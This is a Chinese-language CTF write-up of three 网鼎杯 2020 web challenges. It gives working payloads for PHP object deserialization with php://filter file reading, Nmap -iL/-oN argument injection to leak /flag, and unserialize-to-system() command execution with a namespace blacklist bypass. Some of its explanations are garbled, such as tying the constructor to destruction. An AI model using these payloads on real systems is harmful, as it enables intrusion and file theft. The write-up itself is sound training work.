很遗憾这么盛大的PY赛事没有参加,所以现在只有在BUU上复现一波了。
1.[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

进来就是一波代码审计,迅速看一遍会发现:$obj = unserialize($str);
那么很明显考的就是反序列化了。我们先看一下如果反序列化,这个php文件做了什么。

  function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

当类被销毁也就是被反序列化成字符串时,魔术方法-析构函数__construct就会被调用。
这里会执行prcess()函数,跟过去

 public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

很明显上面的op值为1,因而会调用write函数

 private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

仔细阅读会发现,必须要$res变量存在,然后如果我们process函数走op==1的话$res就为null了这里就失败了。
所以必须使得$op=2才行。这里$op是类的最开头定义的,我们知道反序列化可以把其类中自定义的变量也给覆盖掉。而
proctected相比var也就是public会多一个特殊的00才行。然后destruct里面还需要绕过一下,这里用的强判断:

if($this->op === "2")
            $this->op = "1";

因而用一个整型2即可满足条件。这里int(2)===”2”会返回false
最后看get传str的代码

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

然后查看还需要绕过的点is_valid

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

这里规定了反序列化的对象必须是在ascii 32到125的范围。
为什么会有这个限制呢,因为protect的变量在序列化时会有%00*%00字符,而%00字符的ASCII值是0,这里刚好不在ASCII范围内。
所以我们对protected进行序列化会得到:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:11:"/etc/passwd";s:10:"*content";s:5:"Cupid";} 

查看响应头会发现:X-Powered-By:PHP/7.4.3
这里有个不同php版本的解析问题,php7.1+版本对属性类型不敏感,因而本地序列化的时候
使用public即可绕过。由于目标系统是7.4.3因而在处理public和procted的序列化结果
一样,因而造成了绕过。
接下来对public的类进行序列化

<?php
class FileHandler {

    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content = "Cupid";
}

$a = new FileHandler();
$b = serialize($a);
echo $b."\n";

O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:57:”php://filter/read=convert.base64-encode/resource=flag.php”;s:7:”content”;s:5:”Cupid”;}
最后访问即可拿到flag了。

看颖奇师傅的WP时,会发现比赛不能直接这么读flag.先要读出系统的WEB路径然后再访问对应flag文件。
师傅先读取的/proc/self/cmdline文件然后再读取的真正的flag.php的路径采访问到flag.
这里顺便学习一下/proc/self/cmdline文件

首先/proc下的都是进程文件,而使用/proc/$pid可以获取指定进程的信息。
而/proc/self可以不用获取Pid就可以访问到系统信息。该命令等价于/proc/本进程pid

2.[网鼎杯 2020 朱雀组]Nmap
首先是测试了一下
127.0.0.1 || ls
然后发现结果的url:

http://4513987b-dade-45e4-a444-e9185ace5519.node3.buuoj.cn/result.php?f=f7a78

加上’提示说文件名错误。尝试将数字减少1发现警告:

Warning: simplexml_load_file(): I/O warning : failed to load external entity "xml/f7a78" in /var/www/html/result.php on line 23

极有可能存在XXE。
新建的f后面的值作为了一个外部实体。所以抓包尝试外部实体注入:
一番测试无果。
后面仔细回来还是从命令行下手,可能还是Nmap命令执行。需要了解Nmap的一些特殊指令。
找到一个-iL 和一个 -oG
iL是读取主机列表如”-iL C:ip.txt”
oG是写入文件。
试试用iL读取一下index.php

-iL /var/www/html/index.php

结果页面给出hacker…
猜测过滤了php再次尝试
-iL /var/www/html/
然后是something get wrong
可行说明目录这样读取不对,回去再看一下
一般来说flag会在根目录下,所以命令-iL /flag是对的。
是不是还需要OG输出出来。随便试试
-iL /flag -oG flag.txt
依然是went wrong
考虑这是一个字符串用引号包含。
“-iL /flag -oG flag.txt”
现在是host maybe down说明命令解析了,也就是需要加上引号才起作用,上面思路不对OG应该是输出到一个存在的文件。如果不存在也不知道会不会自动创建。看一下其他命令。
然后发现:
-oN/-oX/-oG 将报告写入文件,分别是正常、XML、grepable 三种格式
刚刚我们测试发现存在XML传输的问题。
因而极有可能是使用 -oX然后弄一个xml文件。

"-iL /flag -oX flag.xml"

哎。。还是不对。最后试试-oN

' -iL /flag -oN flag.txt'

总感觉少了些什么毕竟Nmap是扫IP的,故加个127.0.0.1

127.0.0.1 ' -iL /flag -oN flag.txt '

最后访问/flag.txt即可拿到flag.

被自己蠢自闭了,哎,还需继续努力哟。
最后回过来发现自己失败的原因是因为单引号里面没有添加空格。
总所周知nmap命令是这样的(每一个都有空格间隔):
nmap -指令 IP
先来看一下flag的结果

# Nmap 6.47 scan initiated Thu May 21 11:25:19 2020 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/76257 -iL /flag -oN flag.txt \ \\
Failed to resolve "flag{1f446eb9-4bb2-4fdd-b1db-b9de8899d512}".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Thu May 21 11:25:39 2020 -- 0 IP addresses (0 hosts up) scanned in 20.05 seconds

因而后端拼接代码会这样:
‘nmap -Pn -T4 -F –host-timeout 1000ms -oX xml/76257’.$_POST[‘input’]
因而如果键入”-iL”而不是” -iL”
就会导致命令执行失败。同理整个语句的后面也需要键入一个空格。
所以只需:’ -iL /flag -oN flag.txt ‘即可。
成功细节中啊。一道很简单的题但是折腾了半天。需要反思了。

3.[网鼎杯 2020 朱雀组]phpweb
进去就是众生皆懒狗,太真实了。然后是一大串报错,先不管直接抓包看看参数。发现post:
func=date&p=Y-m-d+h%3Ai%3As+a
这一看报错就是执行data函数导致的。试试system函数ban没有。
Ou nice
Hacker…
好的ban掉了。fuzz一波命令执行。
最后发现系统命令执行函数都ban完了,但是file_get_contents可以用。
也就是说可以使用协议流读一波代码。
发现不用协议流就能直接读取index.php

func=file_get_contents&p=index.php

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

本来还愁没有命令执行的FUZZ上面不就给现成的嘛,写个python脚本存个txt.然后读代码,很明显存在反序列化漏洞。
看上面的黑名单也没有过滤unserialize.

<?php
 class Test {
        var $p = "ls -a";
        var $func = "system";

    }
$b=new Test();
$a=serialize($b);
echo $a;
?>

传入:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:5:"ls -a";s:4:"func";s:6:"system";}

得到:

用cat /flag试试。不行可能被过滤了的试试c\at /flag
还是不行那可能是flag被过滤了,试试 /fl\ag
看一下是否在\下面
ls /
艾玛。没在下面,用find吧
find / -name flag
嘿tnnd没有。
加上通配符:
find / -name flag*
发现可疑文件:cat /tmp/flagoefiu4r93
最后构造payload:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

成功拿到flag.
这道题整体偏简单,稍微步骤多了一小点二。
然后后面发现其实可以直接绕过黑名单过滤。
使用\system也可以绕过。这里就是命名空间绕过了。
php使用命名空间来避免两个完全相同名字的情况。例如两个完全相同的函数名,两个完全相同的类名。
命名空间的语法:
namespace A\B\C;